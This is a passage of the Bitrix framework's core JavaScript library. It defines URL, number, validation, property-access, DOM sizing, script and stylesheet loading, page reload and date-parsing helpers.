				var rgb = color.replace(/[# ]/g,"").replace(/^(.)(.)(.)$/,'$1$1$2$2$3$3').match(/.{2}/g);
				for (var i=0;  i<3; i++)
				{
					rgb[i] = parseInt(rgb[i], 16);
				}
				return {'r':rgb[0],'g':rgb[1],'b':rgb[2]};
			},

			/**
			 * @deprecated
			 * @use BX.Uri
			 * @param url
			 * @param param
			 * @return {string}
			 */
			remove_url_param: function(url, param)
			{
				return BX.Uri.removeParam(url, param);
			},

			/*
		{'param1': 'value1', 'param2': 'value2'}
		 */
			/**
			 * @deprecated
			 * @use BX.Uri
			 * @param url
			 * @param params
			 * @return {string}
			 */
			add_url_param: function(url, params)
			{
				var preparedParams = Object.entries(params).reduce(function(acc, item) {
					acc[item[0]] = BX.type.isArray(item[1]) ? item[1].join() : item[1];
					return acc;
				}, {});

				return BX.Uri.addParam(url, preparedParams);
			},

			/*
	{'param1': 'value1', 'param2': 'value2'}
	 */
			buildQueryString: function(params)
			{
				var result = '';
				for (var key in params)
				{
					var value = params[key];
					if(BX.type.isArray(value))
					{
						value.forEach(function(valueElement, index)
						{
							result += encodeURIComponent(key + "[" + index + "]") + "=" + encodeURIComponent(valueElement) + "&";
						});
					}
					else
					{
						result += encodeURIComponent(key) + "=" + encodeURIComponent(value) + "&";
					}
				}

				if(result.length > 0)
				{
					result = result.substr(0, result.length - 1);
				}
				return result;
			},

			even: function(digit)
			{
				return (parseInt(digit) % 2 == 0);
			},

			hashCode: function(str)
			{
				if(!BX.type.isNotEmptyString(str))
				{
					return 0;
				}

				var hash = 0;
				for (var i = 0; i < str.length; i++)
				{
					var c = str.charCodeAt(i);
					hash = ((hash << 5) - hash) + c;
					hash = hash & hash;
				}
				return hash;
			},

			getRandomString: function (length)
			{
				return BX.Text.getRandom(length);
			},

			number_format: function(number, decimals, dec_point, thousands_sep)
			{
				var i, j, kw, kd, km, sign = '';
				decimals = Math.abs(decimals);
				if (isNaN(decimals) || decimals < 0)
				{
					decimals = 2;
				}
				dec_point = dec_point || ',';
				if (typeof thousands_sep === 'undefined')
					thousands_sep = '.';

				number = (+number || 0).toFixed(decimals);
				if (number < 0)
				{
					sign = '-';
					number = -number;
				}

				i = parseInt(number, 10) + '';
				j = (i.length > 3 ? i.length % 3 : 0);

				km = (j ? i.substr(0, j) + thousands_sep : '');
				kw = i.substr(j).replace(/(\d{3})(?=\d)/g, "$1" + thousands_sep);
				kd = (decimals ? dec_point + Math.abs(number - i).toFixed(decimals).replace(/-/, '0').slice(2) : '');

				return sign + km + kw + kd;
			},

			getExtension: function (url)
			{
				url = url || "";
				var items = url.split("?")[0].split(".");
				return items[items.length-1].toLowerCase();
			},
			addObjectToForm: function(object, form, prefix)
			{
				if(!BX.type.isString(prefix))
				{
					prefix = "";
				}

				for(var key in object)
				{
					if(!object.hasOwnProperty(key))
					{
						continue;
					}

					var value = object[key];
					var name = prefix !== "" ? (prefix + "[" + key + "]") : key;
					if(BX.type.isArray(value))
					{
						var obj = {};
						for(var i = 0; i < value.length; i++)
						{
							obj[i] = value[i];
						}

						BX.util.addObjectToForm(obj, form, name);
					}
					else if(BX.type.isPlainObject(value))
					{
						BX.util.addObjectToForm(value, form, name);
					}
					else
					{
						value = BX.type.isFunction(value.toString) ? value.toString() : "";
						if(value !== "")
						{
							form.appendChild(BX.create("INPUT", { attrs: { type: "hidden", name: name, value: value } }));
						}
					}
				}
			},

			observe: function(object, enable)
			{
				console.error('BX.util.observe: function is no longer supported by browser.');
				return false;
			},

			escapeRegExp: function(str)
			{
				return str.replace(/[\-\[\]\/\{\}\(\)\*\+\?\.\\\^\$\|]/g, "\\$&");
			}
		};

		BX.validation = {
			checkIfEmail: function(s)
			{
				var atom = "[=a-z0-9_+~'!$&*^`|#%/?{}-]";
				return (new RegExp('^\\s*'+atom+'+(\\.'+atom+'+)*@([a-z0-9-]+\\.)+[a-z0-9-]{2,20}\\s*$', 'i')).test(s);
			},
			checkIfPhone: function(s)
			{
				var regexp = new RegExp(
					typeof(BX.PhoneNumber) === "undefined"
						? BX.PhoneNumber.getValidNumberPattern()
						: '^\\s*\\+?\s*[0-9(-)\\s]+\\s*$',
					'i'
				);
				return regexp.test(s);
			}
		};

		BX.prop =
			{
				get: function(object, key, defaultValue)
				{
					return object && object.hasOwnProperty(key) ? object[key] : defaultValue;
				},
				getObject: function(object, key, defaultValue)
				{
					return object && BX.type.isPlainObject(object[key]) ? object[key] : defaultValue;
				},
				getElementNode: function(object, key, defaultValue)
				{
					return object && BX.type.isElementNode(object[key]) ? object[key] : defaultValue;
				},
				getArray: function(object, key, defaultValue)
				{
					return object && BX.type.isArray(object[key]) ? object[key] : defaultValue;
				},
				getFunction: function(object, key, defaultValue)
				{
					return object && BX.type.isFunction(object[key]) ? object[key] : defaultValue;
				},
				getNumber: function(object, key, defaultValue)
				{
					if(!(object && object.hasOwnProperty(key)))
					{
						return defaultValue;
					}

					var value = object[key];
					if(BX.type.isNumber(value))
					{
						return value;
					}

					value = parseFloat(value);
					return !isNaN(value) ? value : defaultValue;
				},
				getInteger: function(object, key, defaultValue)
				{
					if(!(object && object.hasOwnProperty(key)))
					{
						return defaultValue;
					}

					var value = object[key];
					if(BX.type.isNumber(value))
					{
						return value;
					}

					value = parseInt(value);
					return !isNaN(value) ? value : defaultValue;
				},
				getBoolean: function(object, key, defaultValue)
				{
					if(!(object && object.hasOwnProperty(key)))
					{
						return defaultValue;
					}

					var value = object[key];
					return (BX.type.isBoolean(value)
							? value
							: (BX.type.isString(value) ? (value.toLowerCase() === "true") : !!value)
					);
				},
				getString: function(object, key, defaultValue)
				{
					if(!(object && object.hasOwnProperty(key)))
					{
						return defaultValue;
					}

					var value = object[key];
					return BX.type.isString(value) ? value : (value ? value.toString() : '');
				},
				extractDate: function(datetime)
				{
					if(!BX.type.isDate(datetime))
					{
						datetime = new Date();
					}

					datetime.setHours(0);
					datetime.setMinutes(0);
					datetime.setSeconds(0);
					datetime.setMilliseconds(0);

					return datetime;
				}
			};

		BX.isNodeInDom = function(node, doc)
		{
			return node === (doc || document) ? true :
				(node.parentNode ? BX.isNodeInDom(node.parentNode) : false);
		};

		BX.isNodeHidden = function(node)
		{
			if (node === document)
				return false;
			else if (BX.style(node, 'display') == 'none')
				return true;
			else
				return (node.parentNode ? BX.isNodeHidden(node.parentNode) : true);
		};

		BX.evalPack = function(code)
		{
			while (code.length > 0)
			{
				var c = code.shift();

				if (c.TYPE == 'SCRIPT_EXT' || c.TYPE == 'SCRIPT_SRC')
				{
					BX.loadScript(c.DATA, function() {BX.evalPack(code)});
					return;
				}
				else if (c.TYPE == 'SCRIPT')
				{
					BX.evalGlobal(c.DATA);
				}
			}
		};

		BX.evalGlobal = function(data)
		{
			if (data)
			{
				var head = document.getElementsByTagName("head")[0] || document.documentElement,
					script = document.createElement("script");

				script.type = "text/javascript";

				if (!BX.browser.IsIE())
				{
					script.appendChild(document.createTextNode(data));
				}
				else
				{
					script.text = data;
				}

				head.insertBefore(script, head.firstChild);
				head.removeChild(script);
			}
		};

		BX.garbage = function(call, thisObject)
		{
			garbageCollectors.push({callback: call, context: thisObject});
		};

		BX.GetDocElement = function (pDoc)
		{
			pDoc = pDoc || document;
			return (BX.browser.IsDoctype(pDoc) ? pDoc.documentElement : pDoc.body);
		};

		BX.scrollTop = function(node, val){
			if(typeof val != 'undefined'){

				if(node == window){
					throw new Error('scrollTop() for window is not implemented');
				}else
					node.scrollTop = parseInt(val);

			}else{

				if(node == window)
					return BX.GetWindowScrollPos().scrollTop;

				return node.scrollTop;
			}
		};

		BX.scrollLeft = function(node, val){
			if(typeof val != 'undefined'){

				if(node == window){
					throw new Error('scrollLeft() for window is not implemented');
				}else
					node.scrollLeft = parseInt(val);

			}else{

				if(node == window)
					return BX.GetWindowScrollPos().scrollLeft;

				return node.scrollLeft;
			}
		};

		BX.hide_object = function(ob)
		{
			ob = BX(ob);
			ob.style.position = 'absolute';
			ob.style.top = '-1000px';
			ob.style.left = '-1000px';
			ob.style.height = '10px';
			ob.style.width = '10px';
		};

		BX.is_relative = function(el)
		{
			var p = BX.style(el, 'position');
			return p == 'relative' || p == 'absolute';
		};

		BX.is_float = function(el)
		{
			var p = BX.style(el, 'float');
			return p == 'right' || p == 'left';
		};

		BX.is_fixed = function(el)
		{
			var p = BX.style(el, 'position');
			return p == 'fixed';
		};

		BX.width = function(node, val){
			if(typeof val != 'undefined')
				BX.style(node, 'width', parseInt(val)+'px');
			else{

				if(node == window)
					return window.innerWidth;

				//return parseInt(BX.style(node, 'width'));
				return BX.pos(node).width;
			}
		};

		BX.height = function(node, val){
			if(typeof val != 'undefined')
				BX.style(node, 'height', parseInt(val)+'px');
			else{

				if(node == window)
					return window.innerHeight;

				//return parseInt(BX.style(node, 'height'));
				return BX.pos(node).height;
			}
		};

		BX.align = function(pos, w, h, type)
		{
			if (type)
				type = type.toLowerCase();
			else
				type = '';

			var pDoc = document;
			if (BX.type.isElementNode(pos))
			{
				pDoc = pos.ownerDocument;
				pos = BX.pos(pos);
			}

			var x = pos["left"], y = pos["bottom"];

			var scroll = BX.GetWindowScrollPos(pDoc);
			var size = BX.GetWindowInnerSize(pDoc);

			if((size.innerWidth + scroll.scrollLeft) - (pos["left"] + w) < 0)
			{
				if(pos["right"] - w >= 0 )
					x = pos["right"] - w;
				else
					x = scroll.scrollLeft;
			}

			if(((size.innerHeight + scroll.scrollTop) - (pos["bottom"] + h) < 0) || ~type.indexOf('top'))
			{
				if(pos["top"] - h >= 0 || ~type.indexOf('top'))
					y = pos["top"] - h;
				else
					y = scroll.scrollTop;
			}

			return {'left':x, 'top':y};
		};

		BX.scrollToNode = function(node)
		{
			var obNode = BX(node);

			if (obNode.scrollIntoView)
				obNode.scrollIntoView(true);
			else
			{
				var arNodePos = BX.pos(obNode);
				window.scrollTo(arNodePos.left, arNodePos.top);
			}
		};

		/* non-xhr loadings */
		BX.showWait = function(node, msg)
		{
			node = BX(node) || document.body || document.documentElement;
			msg = msg || BX.message('JS_CORE_LOADING');

			var container_id = node.id || Math.random();

			var obMsg = node.bxmsg = document.body.appendChild(BX.create('DIV', {
				props: {
					id: 'wait_' + container_id
				},
				style: {
					background: 'url("/bitrix/js/main/core/images/wait.gif") no-repeat scroll 10px center #fcf7d1',
					border: '1px solid #E1B52D',
					color: 'black',
					fontFamily: 'Verdana,Arial,sans-serif',
					fontSize: '11px',
					padding: '10px 30px 10px 37px',
					position: 'absolute',
					textAlign:'center'
				},
				text: msg
			}));

			BX.ZIndexManager.register(obMsg);
			BX.ZIndexManager.bringToFront(obMsg);

			setTimeout(BX.delegate(_adjustWait, node), 10);

			lastWait[lastWait.length] = obMsg;
			return obMsg;
		};

		BX.closeWait = function(node, obMsg)
		{
			if(node && !obMsg)
				obMsg = node.bxmsg;
			if(node && !obMsg && BX.hasClass(node, 'bx-core-waitwindow'))
				obMsg = node;
			if(node && !obMsg)
				obMsg = BX('wait_' + node.id);
			if(!obMsg)
				obMsg = lastWait.pop();

			if (obMsg && obMsg.parentNode)
			{
				for (var i=0,len=lastWait.length;i<len;i++)
				{
					if (obMsg == lastWait[i])
					{
						lastWait = BX.util.deleteFromArray(lastWait, i);
						break;
					}
				}

				BX.ZIndexManager.unregister(obMsg);
				obMsg.parentNode.removeChild(obMsg);
				if (node) node.bxmsg = null;
				BX.cleanNode(obMsg, true);
			}
		};

		BX.setJSList = function(scripts)
		{
			if (BX.type.isArray(scripts))
			{
				scripts = scripts.map(function(script) {
					return normalizeUrl(script)
				});

				jsList = jsList.concat(scripts);
			}
		};

		BX.getJSList = function()
		{
			initJsList();
			return jsList;
		};

		BX.setCSSList = function(cssFiles)
		{
			if (BX.type.isArray(cssFiles))
			{
				cssFiles = cssFiles.map(function(cssFile) {
					return normalizeUrl(cssFile);
				});

				cssList = cssList.concat(cssFiles);
			}
		};

		BX.getCSSList = function()
		{
			initCssList();
			return cssList;
		};

		BX.getJSPath = function(js)
		{
			return js.replace(/^(http[s]*:)*\/\/[^\/]+/i, '');
		};

		BX.getCSSPath = function(css)
		{
			return css.replace(/^(http[s]*:)*\/\/[^\/]+/i, '');
		};

		BX.getCDNPath = function(path)
		{
			return path;
		};

		BX.loadScript = function(script, callback, doc)
		{
			if (BX.type.isString(script))
			{
				script = [script];
			}

			return BX.load(script, callback, doc);
		};

		BX.loadCSS = function(css, doc, win)
		{
			if (BX.type.isString(css))
			{
				css = [css];
			}

			if (BX.type.isArray(css))
			{
				css = css.map(function(url) {
					return { url: url, ext: "css" }
				});

				BX.load(css, null, doc);
			}
		};

		BX.load = function(items, callback, doc)
		{
			if (!BX.isReady)
			{
				var _args = arguments;
				BX.ready(function() {
					BX.load.apply(this, _args);
				});
				return null;
			}

			doc = doc || document;
			if (isAsync === null)
			{
				isAsync = "async" in doc.createElement("script") || "MozAppearance" in doc.documentElement.style || window.opera;
			}

			return isAsync ? loadAsync(items, callback, doc) : loadAsyncEmulation(items, callback, doc);
		};

		BX.convert =
			{
				toNumber: function(value)
				{
					if(BX.type.isNumber(value))
					{
						return value;
					}

					value = Number(value);
					return !isNaN(value) ? value : 0;
				},
				nodeListToArray: function(nodes)
				{
					try
					{
						return (Array.prototype.slice.call(nodes, 0));
					}
					catch (ex)
					{
						var ary = [];
						for(var i = 0, l = nodes.length; i < l; i++)
						{
							ary.push(nodes[i]);
						}
						return ary;
					}
				}
			};

		function loadAsync(items, callback, doc)
		{
			if (!BX.type.isArray(items))
			{
				return;
			}

			function allLoaded(items)
			{
				items = items || assets;
				for (var name in items)
				{
					if (items.hasOwnProperty(name) && items[name].state !== LOADED)
					{
						return false;
					}
				}

				return true;
			}

			if (!BX.type.isFunction(callback))
			{
				callback = null;
			}

			var itemSet = {}, item, i;
			for (i = 0; i < items.length; i++)
			{
				item = items[i];
				item = getAsset(item);
				itemSet[item.name] = item;
			}

			var callbackWasCalled = false;
			if (items.length > 0)
			{
				for (i = 0; i < items.length; i++)
				{
					item = items[i];
					item = getAsset(item);
					load(item, function () {
						if (allLoaded(itemSet))
						{
							if (!callbackWasCalled)
							{
								callback && callback();
								callbackWasCalled = true;
							}

						}
					}, doc);
				}
			}
			else
			{
				if (typeof callback === 'function')
				{
					callback();
					callbackWasCalled = true;
				}
			}
		}

		function loadAsyncEmulation(items, callback, doc)
		{
			function onPreload(asset)
			{
				asset.state = PRELOADED;
				if (BX.type.isArray(asset.onpreload) && asset.onpreload)
				{
					for (var i = 0; i < asset.onpreload.length; i++)
					{
						asset.onpreload[i].call();
					}
				}
			}

			function preLoad(asset)
			{
				if (asset.state === undefined)
				{
					asset.state = PRELOADING;
					asset.onpreload = [];

					loadAsset(
						{ url: asset.url, type: "cache", ext: asset.ext},
						function () { onPreload(asset); },
						doc
					);
				}
			}

			if (!BX.type.isArray(items))
			{
				return;
			}

			if (!BX.type.isFunction(callback))
			{
				callback = null;
			}

			var rest = [].slice.call(items, 1);
			for (var i = 0; i < rest.length; i++)
			{
				preLoad(getAsset(rest[i]));
			}

			load(getAsset(items[0]), items.length === 1 ? callback : function () {
				loadAsyncEmulation.apply(null, [rest, callback, doc]);
			}, doc);
		}

		function load(asset, callback, doc)
		{
			callback = callback || BX.DoNothing;

			if (asset.state === LOADED)
			{
				callback();
				return;
			}

			if (asset.state === PRELOADING)
			{
				asset.onpreload.push(function () {
					load(asset, callback, doc);
				});
				return;
			}

			asset.state = LOADING;

			loadAsset(
				asset,
				function () {
					asset.state = LOADED;
					callback();
				},
				doc
			);
		}

		function loadAsset(asset, callback, doc)
		{
			callback = callback || BX.DoNothing;

			function error(event)
			{
				ele.onload = ele.onreadystatechange = ele.onerror = null;
				callback();
			}

			function process(event)
			{
				event = event || window.event;
				if (event.type === "load" || (/loaded|complete/.test(ele.readyState) && (!doc.documentMode || doc.documentMode < 9)))
				{
					window.clearTimeout(asset.errorTimeout);
					window.clearTimeout(asset.cssTimeout);
					ele.onload = ele.onreadystatechange = ele.onerror = null;
					callback();
				}
			}

			function isCssLoaded()
			{
				if (asset.state !== LOADED && asset.cssRetries <= 20)
				{
					for (var i = 0, l = doc.styleSheets.length; i < l; i++)
					{
						if (doc.styleSheets[i].href === ele.href)
						{
							process({"type": "load"});
							return;
						}
					}

					asset.cssRetries++;
					asset.cssTimeout = window.setTimeout(isCssLoaded, 250);
				}
			}

			var ele;
			var ext = BX.type.isNotEmptyString(asset.ext) ? asset.ext : BX.util.getExtension(asset.url);

			if (ext === "css")
			{
				ele = doc.createElement("link");
				ele.type = "text/" + (asset.type || "css");
				ele.rel = "stylesheet";
				ele.href = asset.url;

				asset.cssRetries = 0;
				asset.cssTimeout = window.setTimeout(isCssLoaded, 500);
			}
			else
			{
				ele = doc.createElement("script");
				ele.type = "text/" + (asset.type || "javascript");
				ele.src = asset.url;
			}

			ele.onload = ele.onreadystatechange = process;
			ele.onerror = error;

			ele.async = false;
			ele.defer = false;

			asset.errorTimeout = window.setTimeout(function () {
				error({type: "timeout"});
			}, 7000);

			if (ext === "css")
			{
				cssList.push(normalizeMinUrl(normalizeUrl(asset.url)));
			}
			else
			{
				jsList.push(normalizeMinUrl(normalizeUrl(asset.url)));
			}

			var templateLink = null;
			var head = doc.head || doc.getElementsByTagName("head")[0];
			if (ext === "css" && (templateLink = getTemplateLink(head)) !== null)
			{
				templateLink.parentNode.insertBefore(ele, templateLink);
			}
			else
			{
				head.insertBefore(ele, head.lastChild);
			}
		}

		function getAsset(item)
		{
			var asset = {};
			if (typeof item === "object")
			{
				asset = item;
				asset.name = asset.name ? asset.name : BX.util.hashCode(item.url);
			}
			else
			{
				asset = { name: BX.util.hashCode(item), url : item };
			}

			var ext = BX.type.isNotEmptyString(asset.ext) ? asset.ext : BX.util.getExtension(asset.url);
			if ((ext === "css" && isCssLoaded(asset.url)) || isScriptLoaded(asset.url))
			{
				asset.state = LOADED;
			}

			var existing = assets[asset.name];
			if (existing && existing.url === asset.url)
			{
				return existing;
			}

			assets[asset.name] = asset;
			return asset;
		}

		function normalizeUrl(url)
		{
			if (!BX.type.isNotEmptyString(url))
			{
				return "";
			}

			url = BX.getJSPath(url);
			url = url.replace(/\?[0-9]*$/, "");

			return url;
		}

		function normalizeMinUrl(url)
		{
			if (!BX.type.isNotEmptyString(url))
			{
				return "";
			}

			var minPos = url.indexOf(".min");
			return minPos >= 0 ? url.substr(0, minPos) + url.substr(minPos + 4) : url;
		}

		function isCssLoaded(fileSrc)
		{
			initCssList();

			fileSrc = normalizeUrl(fileSrc);
			var fileSrcMin = normalizeMinUrl(fileSrc);

			return (fileSrc !== fileSrcMin && BX.util.in_array(fileSrcMin, cssList)) || BX.util.in_array(fileSrc, cssList);
		}

		function initCssList()
		{
			if(!cssInit)
			{
				var linksCol = document.getElementsByTagName('link');

				if(!!linksCol && linksCol.length > 0)
				{
					for(var i = 0; i < linksCol.length; i++)
					{
						var href = linksCol[i].getAttribute('href');
						if (BX.type.isNotEmptyString(href))
						{
							href = normalizeMinUrl(normalizeUrl(href));
							cssList.push(href);
						}
					}
				}
				cssInit = true;
			}
		}

		function getTemplateLink(head)
		{
			var findLink = function(tag)
			{
				var links = head.getElementsByTagName(tag);
				for (var i = 0, length = links.length; i < length; i++)
				{
					var templateStyle = links[i].getAttribute("data-template-style");
					if (BX.type.isNotEmptyString(templateStyle) && templateStyle == "true")
					{
						return links[i];
					}
				}

				return null;
			};

			var link = findLink("link");
			if (link === null)
			{
				link = findLink("style");
			}

			return link;
		}

		function isScriptLoaded(fileSrc)
		{
			initJsList();

			fileSrc = normalizeUrl(fileSrc);
			var fileSrcMin = normalizeMinUrl(fileSrc);

			return (fileSrc !== fileSrcMin && BX.util.in_array(fileSrcMin, jsList)) || BX.util.in_array(fileSrc, jsList);
		}

		function initJsList()
		{
			if(!jsInit)
			{
				var scriptCol = document.getElementsByTagName('script');

				if(!!scriptCol && scriptCol.length > 0)
				{
					for(var i=0; i<scriptCol.length; i++)
					{
						var src = scriptCol[i].getAttribute('src');

						if (BX.type.isNotEmptyString(src))
						{
							src = normalizeMinUrl(normalizeUrl(src));
							jsList.push(src);
						}
					}
				}
				jsInit = true;
			}
		}

		function reloadInternal(back_url, bAddClearCache)
		{
			if (back_url === true)
			{
				bAddClearCache = true;
				back_url = null;
			}

			var topWindow = (function() {
				if (BX.PageObject && BX.PageObject.getRootWindow)
				{
					return BX.PageObject.getRootWindow();
				}

				return window.top;
			})();
			var new_href = back_url || topWindow.location.href;

			var hashpos = new_href.indexOf('#'), hash = '';

			if (hashpos != -1)
			{
				hash = new_href.substr(hashpos);
				new_href = new_href.substr(0, hashpos);
			}

			if (bAddClearCache && new_href.indexOf('clear_cache=Y') < 0)
				new_href += (new_href.indexOf('?') == -1 ? '?' : '&') + 'clear_cache=Y';

			if (hash)
			{
				// hack for clearing cache in ajax mode components with history emulation
				if (bAddClearCache && (hash.substr(0, 5) == 'view/' || hash.substr(0, 6) == '#view/') && hash.indexOf('clear_cache%3DY') < 0)
					hash += (hash.indexOf('%3F') == -1 ? '%3F' : '%26') + 'clear_cache%3DY';

				new_href = new_href.replace(/(\?|\&)_r=[\d]*/, '');
				new_href += (new_href.indexOf('?') == -1 ? '?' : '&') + '_r='+Math.round(Math.random()*10000) + hash;
			}

			topWindow.location.href = new_href;
		}

		BX.reload = function(back_url, bAddClearCache)
		{
			if (window !== window.top)
			{
				BX.Runtime
					.loadExtension('main.pageobject')
					.then(function() {
						reloadInternal(back_url, bAddClearCache);
					});
			}
			else
			{
				reloadInternal(back_url, bAddClearCache);
			}
		};

		BX.clearCache = function()
		{
			BX.showWait();
			BX.reload(true);
		};

		BX.template = function(tpl, callback, bKillTpl)
		{
			BX.ready(function() {
				_processTpl(BX(tpl), callback, bKillTpl);
			});
		};

		BX.isAmPmMode = function(returnConst)
		{
			if (returnConst === true)
			{
				return BX.message.AMPM_MODE;
			}
			return BX.message.AMPM_MODE !== false;
		};

		BX.formatDate = function(date, format)
		{
			date = date || new Date();

			var bTime = date.getHours() || date.getMinutes() || date.getSeconds(),
				str = !!format
					? format :
					(bTime ? BX.message('FORMAT_DATETIME') : BX.message('FORMAT_DATE')
					);

			return str.replace(/YYYY/ig, date.getFullYear())
				.replace(/MMMM/ig, BX.util.str_pad_left((date.getMonth()+1).toString(), 2, '0'))
				.replace(/MM/ig, BX.util.str_pad_left((date.getMonth()+1).toString(), 2, '0'))
				.replace(/DD/ig, BX.util.str_pad_left(date.getDate().toString(), 2, '0'))
				.replace(/HH/ig, BX.util.str_pad_left(date.getHours().toString(), 2, '0'))
				.replace(/MI/ig, BX.util.str_pad_left(date.getMinutes().toString(), 2, '0'))
				.replace(/SS/ig, BX.util.str_pad_left(date.getSeconds().toString(), 2, '0'));
		};
		BX.formatName = function(user, template, login)
		{
			user = user || {};
			template = (template || '');
			var replacement = {
				TITLE : (user["TITLE"] || ''),
				NAME : (user["NAME"] || ''),
				LAST_NAME : (user["LAST_NAME"] || ''),
				SECOND_NAME : (user["SECOND_NAME"] || ''),
				LOGIN : (user["LOGIN"] || ''),
				NAME_SHORT : user["NAME"] ? user["NAME"].substr(0, 1) + '.' : '',
				LAST_NAME_SHORT : user["LAST_NAME"] ? user["LAST_NAME"].substr(0, 1) + '.' : '',
				SECOND_NAME_SHORT : user["SECOND_NAME"] ? user["SECOND_NAME"].substr(0, 1) + '.' : '',
				EMAIL : (user["EMAIL"] || ''),
				ID : (user["ID"] || ''),
				NOBR : "",
				'/NOBR' : ""
			}, result = template;
			for (var ii in replacement)
			{
				if (replacement.hasOwnProperty(ii))
				{
					result = result.replace("#" + ii+ "#", replacement[ii])
				}
			}
			result = result.replace(/([\s]+)/gi, " ").trim();
			if (result == "")
			{
				result = (login == "Y" ? replacement["LOGIN"] : "");
				result = (result == "" ? "Noname" : result);
			}
			return result;
		};

		BX.getNumMonth = function(month)
		{
			var wordMonthCut = ['jan', 'feb', 'mar', 'apr', 'may', 'jun', 'jul', 'aug', 'sep', 'oct', 'nov', 'dec'];
			var wordMonth = ['january', 'february', 'march', 'april', 'may', 'june', 'july', 'august', 'september', 'october', 'november', 'december'];

			var q = month.toUpperCase();
			for (i = 1; i <= 12; i++)
			{
				if (q == BX.message('MON_'+i).toUpperCase() || q == BX.message('MONTH_'+i).toUpperCase() || q == wordMonthCut[i-1].toUpperCase() || q == wordMonth[i-1].toUpperCase())
				{
					return i;
				}
			}
			return month;
		};

		BX.parseDate = function(str, bUTC, formatDate, formatDatetime)
		{
			if (BX.type.isNotEmptyString(str))
			{
				if (!formatDate)
					formatDate = BX.message('FORMAT_DATE');
				if (!formatDatetime)
					formatDatetime = BX.message('FORMAT_DATETIME');

				var regMonths = '';
				for (i = 1; i <= 12; i++)
				{
					regMonths = regMonths + '|' + BX.message('MON_'+i);
				}

				var expr = new RegExp('([0-9]+|[a-z]+' + regMonths + ')', 'ig');
				var aDate = str.match(expr),
					aFormat = formatDate.match(/(DD|MI|MMMM|MM|M|YYYY)/ig),
					i, cnt,
					aDateArgs=[], aFormatArgs=[],
					aResult={};

				if (!aDate)
					return null;

				if(aDate.length > aFormat.length)
				{
					aFormat = formatDatetime.match(/(DD|MI|MMMM|MM|M|YYYY|HH|H|SS|TT|T|GG|G)/ig);
				}

				for(i = 0, cnt = aDate.length; i < cnt; i++)
				{
					if(BX.util.trim(aDate[i]) != '')
					{
						aDateArgs[aDateArgs.length] = aDate[i];
					}
				}

				for(i = 0, cnt = aFormat.length; i < cnt; i++)
				{
					if(BX.util.trim(aFormat[i]) != '')
					{
						aFormatArgs[aFormatArgs.length] = aFormat[i];
					}
				}


				var m = BX.util.array_search('MMMM', aFormatArgs);
				if (m > 0)
				{
					aDateArgs[m] = BX.getNumMonth(aDateArgs[m]);
					aFormatArgs[m] = "MM";
				}
				else
				{
					m = BX.util.array_search('M', aFormatArgs);
					if (m > 0)
					{
						aDateArgs[m] = BX.getNumMonth(aDateArgs[m]);
						aFormatArgs[m] = "MM";
					}
				}

				for(i = 0, cnt = aFormatArgs.length; i < cnt; i++)
				{
					var k = aFormatArgs[i].toUpperCase();
					aResult[k] = k == 'T' || k == 'TT' ? aDateArgs[i] : parseInt(aDateArgs[i], 10);
				}

				if(aResult['DD'] > 0 && aResult['MM'] > 0 && aResult['YYYY'] > 0)
				{
					var d = new Date();

					if(bUTC)
					{
						d.setUTCDate(1);
						d.setUTCFullYear(aResult['YYYY']);
						d.setUTCMonth(aResult['MM'] - 1);
						d.setUTCDate(aResult['DD']);
						d.setUTCHours(0, 0, 0, 0);
					}
					else
					{
						d.setDate(1);
						d.setFullYear(aResult['YYYY']);
						d.setMonth(aResult['MM'] - 1);
						d.setDate(aResult['DD']);
						d.setHours(0, 0, 0, 0);
					}

					if(
						(!isNaN(aResult['HH']) || !isNaN(aResult['GG']) || !isNaN(aResult['H']) || !isNaN(aResult['G']))
						&& !isNaN(aResult['MI'])
					)
					{
						if (!isNaN(aResult['H']) || !isNaN(aResult['G']))
						{
							var bPM = (aResult['T']||aResult['TT']||'am').toUpperCase()=='PM';
							var h = parseInt(aResult['H']||aResult['G']||0, 10);
							if(bPM)
							{
								aResult['HH'] = h + (h == 12 ? 0 : 12);
							}
							else
							{
								aResult['HH'] = h < 12 ? h : 0;
							}
						}
						else
						{
							aResult['HH'] = parseInt(aResult['HH']||aResult['GG']||0, 10);
						}

						if (isNaN(aResult['SS']))
							aResult['SS'] = 0;

						if(bUTC)
						{
							d.setUTCHours(aResult['HH'], aResult['MI'], aResult['SS']);
						}
						else
						{
							d.setHours(aResult['HH'], aResult['MI'], aResult['SS']);
						}
					}

					return d;
				}
			}

			return null;
		};

		BX.selectUtils =
			{
				addNewOption: function(oSelect, opt_value, opt_name, do_sort, check_unique)
				{
					oSelect = BX(oSelect);
					if(oSelect)
					{
						var n = oSelect.length;
						if(check_unique !== false)
						{
							for(var i=0;i<n;i++)
							{
								if(oSelect[i].value==opt_value)
								{
									return;
								}
							}
						}

						oSelect.options[n] = new Option(opt_name, opt_value, false, false);
					}

					if(do_sort === true)
					{
						this.sortSelect(oSelect);
					}
				},

				deleteOption: function(oSelect, opt_value)
				{
					oSelect = BX(oSelect);
					if(oSelect)
					{
						for(var i=0;i<oSelect.length;i++)
						{
							if(oSelect[i].value==opt_value)
							{
								oSelect.remove(i);
								break;
							}
						}
					}
				},

				deleteSelectedOptions: function(oSelect)
				{
					oSelect = BX(oSelect);
					if(oSelect)
					{
						var i=0;
						while(i<oSelect.length)
						{
							if(oSelect[i].selected)
							{
								oSelect[i].selected=false;
								oSelect.remove(i);
							}
							else
							{
								i++;
							}
						}
					}
				},

				deleteAllOptions: function(oSelect)
				{
					oSelect = BX(oSelect);
					if(oSelect)
					{
						for(var i=oSelect.length-1; i>=0; i--)
						{
							oSelect.remove(i);
						}
					}
				},

				optionCompare: function(record1, record2)
				{
					var value1 = record1.optText.toLowerCase();
					var value2 = record2.optText.toLowerCase();
					if (value1 > value2) return(1);
					if (value1 < value2) return(-1);
					return(0);
				},

				sortSelect: function(oSelect)
				{
					oSelect = BX(oSelect);
					if(oSelect)
					{
						var myOptions = [];
						var n = oSelect.options.length;
						var i;
						for (i=0;i<n;i++)
						{
							myOptions[i] = {
								optText:oSelect[i].text,
								optValue:oSelect[i].value
							};
						}
						myOptions.sort(this.optionCompare);
						oSelect.length=0;
						n = myOptions.length;
						for(i=0;i<n;i++)
						{
							oSelect[i] = new Option(myOptions[i].optText, myOptions[i].optValue, false, false);
						}
					}
				},

				selectAllOptions: function(oSelect)
				{
					oSelect = BX(oSelect);
					if(oSelect)
					{
						var n = oSelect.length;
						for(var i=0;i<n;i++)
						{
							oSelect[i].selected=true;
						}
					}
				},

				selectOption: function(oSelect, opt_value)
				{
					oSelect = BX(oSelect);
					if(oSelect)
					{
						var n = oSelect.length;
